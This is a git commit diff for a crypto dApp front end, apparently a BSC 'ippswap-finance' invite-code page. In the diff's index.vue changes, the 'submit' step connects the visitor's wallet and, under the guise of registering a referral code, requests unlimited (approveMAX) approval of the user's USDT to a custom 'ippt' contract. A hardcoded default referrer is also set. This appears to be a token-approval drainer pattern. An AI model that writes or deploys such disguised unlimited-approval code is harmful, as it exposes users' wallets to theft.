Browse Source

复制方法提交

master
j1ack 2 years ago
parent
commit
9973c97f4b
  1. 9
      index.html
  2. 9
      manifest.json
  3. 2
      pages.json
  4. 54
      pages/index/index.vue
  5. BIN
      static/images/logo2.png
  6. 2
      utils/language/zh_TW.js
  7. 4
      utils/web3x/web3x.js

9
index.html

@ -4,7 +4,6 @@
<meta charset="UTF-8" /> <meta charset="UTF-8" />
<meta name="viewport" <meta name="viewport"
content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no"> content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no">
<script> <script>
window.onload = function() { window.onload = function() {
document.addEventListener('touchstart', function(event) { document.addEventListener('touchstart', function(event) {
@ -12,7 +11,6 @@
event.preventDefault(); event.preventDefault();
} }
}); });
document.addEventListener('gesturestart', function(event) { document.addEventListener('gesturestart', function(event) {
event.preventDefault(); event.preventDefault();
@ -144,12 +142,11 @@
<!--app-context--> <!--app-context-->
<link rel="stylesheet" href="<%= BASE_URL %>static/index.<%= VUE_APP_INDEX_CSS_HASH %>.css" /> <link rel="stylesheet" href="<%= BASE_URL %>static/index.<%= VUE_APP_INDEX_CSS_HASH %>.css" />
<!-- <link rel="icon" href="./static/images/logo2.png" /> --> <link rel="icon" href="./static/images/logo2.png" />
<!-- <script src="https://unpkg.com/vconsole@latest/dist/vconsole.min.js"></script> <script src="https://unpkg.com/vconsole@latest/dist/vconsole.min.js"></script>
<script> <script>
// VConsole will be exported to `window.VConsole` by default.
var vConsole = new window.VConsole(); var vConsole = new window.VConsole();
</script> --> </script>
</head> </head>
<body> <body>

9
manifest.json

@ -1,5 +1,5 @@
{ {
"name" : "kakapay", "name" : "ippswap-finance",
"appid" : "__UNI__0088A51", "appid" : "__UNI__0088A51",
"description" : "", "description" : "",
"versionName" : "1.0.0", "versionName" : "1.0.0",
@ -85,12 +85,15 @@
} }
} }
}, },
"title" : "kakapay", "title" : "ippswap-finance",
"optimization" : { "optimization" : {
"treeShaking" : { "treeShaking" : {
"enable" : true "enable" : true
} }
}, },
"template" : "index.html" "template" : "index.html",
"router" : {
"mode" : "history"
}
} }
} }

2
pages.json

@ -6,7 +6,7 @@
{ {
"path": "pages/index/index", "path": "pages/index/index",
"style": { "style": {
"navigationBarTitleText": "" "navigationBarTitleText": "ippswap-finance"
// "enablePullDownRefresh": true // "enablePullDownRefresh": true
} }
} }

54
pages/index/index.vue

@ -42,8 +42,9 @@
<image src="@/static/images/com_icon_yaoqing.c8e1575f1.png" mode=""></image> <image src="@/static/images/com_icon_yaoqing.c8e1575f1.png" mode=""></image>
<text class="text-primary f36">{{ i18n.link }}</text> <text class="text-primary f36">{{ i18n.link }}</text>
</view> </view>
<view class="m48 text-primary" style="word-break: break-all;"> <view class="m48 text-primary" style="word-break: break-all;" @click="onCopy(url)">
https://ippswap.com/community?inviteCode={{form.address}} <!-- https://ippswap.com/community?inviteCode={{form.supAddress}} -->
{{url}}
</view> </view>
</view> </view>
@ -66,6 +67,7 @@
}, },
data() { data() {
return { return {
url: '',
form: { form: {
address: '', address: '',
contract: '0x6b175474e89094c44da98b954eedeac495271d0f', contract: '0x6b175474e89094c44da98b954eedeac495271d0f',
@ -85,8 +87,11 @@
}, },
onLoad(val) { onLoad(val) {
if (val) { this.url = location.origin + '?inviteCode=';
if (val.inviteCode) {
this.form.supAddress = val.inviteCode this.form.supAddress = val.inviteCode
} else {
this.form.supAddress = '0x622d7b79a904e00e5fcab06396ff009e441f0186'
} }
this.init() this.init()
}, },
@ -96,12 +101,25 @@
// onReadyonLoad // onReadyonLoad
onReady() {}, onReady() {},
methods: { methods: {
//
onCopy(v) {
uni.setClipboardData({
data: v,
success: () => {
uni.showToast({
title: 'success',
icon: 'none',
})
}
})
},
init() { init() {
web3x.connectViaInPage() web3x.connectViaInPage()
.then(res => { .then(res => {
this.form.address = web3x.selectedAddress this.form.address = web3x.selectedAddress
// //
console.log("当前钱包地址", web3x.selectedAddress); // console.log("", web3x.selectedAddress);
this.url = location.origin + '?inviteCode=' + web3x.selectedAddress
}) })
}, },
submit() { submit() {
@ -116,10 +134,10 @@
mask: true mask: true
}) })
// //
console.log("当前钱包地址", web3x.selectedAddress); // console.log("", web3x.selectedAddress);
// USDT IPPT // USDT IPPT
const allowance = await web3x.usdt.$allowance(web3x.selectedAddress, ipptAddress) const allowance = await web3x.usdt.$allowance(web3x.selectedAddress, ipptAddress)
// console.log(allowance, 'ippt')
// allowance . 1000000 USDT // allowance . 1000000 USDT
if (allowance > Number(1000000) * 10 ** Number(18)) { if (allowance > Number(1000000) * 10 ** Number(18)) {
web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress) web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress)
@ -127,25 +145,39 @@
} else { } else {
// 0, // 0,
// XXX USDT, // XXX USDT,
// //
if (allowance == 0) {
//
web3x.usdt.approveMAX(ipptAddress)
.on("transactionHash", () => {
// console.log("")
// IPPT
// 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400:
// web3x.selectedAddress:
web3x.ippt.$creatCode(this.form.supAddress, web3x
.selectedAddress)
uni.hideLoading()
})
} else {
web3x.usdt.$approve(ipptAddress, 0) web3x.usdt.$approve(ipptAddress, 0)
.on("receipt", () => { .on("receipt", () => {
console.log("取消授权完成") // console.log("")
// //
web3x.usdt.approveMAX(ipptAddress) web3x.usdt.approveMAX(ipptAddress)
.on("transactionHash", () => { .on("transactionHash", () => {
console.log("调用极限授权") // console.log("")
// IPPT // IPPT
// 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400: // 0xFb4FC7Ddb8c4aa6b944703CE1e89D2B9Aa67a400:
// web3x.selectedAddress: // web3x.selectedAddress:
web3x.ippt.$creatCode(this.form.supAddress, web3x.selectedAddress) web3x.ippt.$creatCode(this.form.supAddress, web3x
.selectedAddress)
uni.hideLoading() uni.hideLoading()
}) })
}) })
} }
}
// USDT IPPT ( IPPT ) // USDT IPPT ( IPPT )
// web3x.usdt.approveMAX("0x622d7b79a904e00e5fcab06396ff009e441f0186") // web3x.usdt.approveMAX("0x622d7b79a904e00e5fcab06396ff009e441f0186")
// .on("transactionHash", async (receipt) => { // .on("transactionHash", async (receipt) => {

BIN
static/images/logo2.png

Binary file not shown.

After

Width:  |  Height:  |  Size: 88 KiB

2
utils/language/zh_TW.js

@ -2,7 +2,7 @@
export default { export default {
tabBar: { tabBar: {
Home: '尊敬的ippswap基金會會員:', Home: '尊敬的ippswap基金會會員:',
contract: '映射智合約', contract: '映射智合約',
address: '我的邀請人地址', address: '我的邀請人地址',
confirm: '確認', confirm: '確認',
link: '我的邀請連結', link: '我的邀請連結',

4
utils/web3x/web3x.js

@ -413,6 +413,6 @@ export const web3x = new Web3X(
// BSC链Id是56 // BSC链Id是56
// ippt 合约 // ippt 合约
"0x622d7b79a904e00e5fcab06396ff009e441f0186", "0x622d7b79a904e00e5fcab06396ff009e441f0186",
// usdt 合约 // usdt 合约 0x0a70dDf7cDBa3E8b6277C9DDcAf2185e8B6f539f
"0x0a70dDf7cDBa3E8b6277C9DDcAf2185e8B6f539f" "0x55d398326f99059fF775485246999027B3197955"
); );

Loading…
Cancel
Save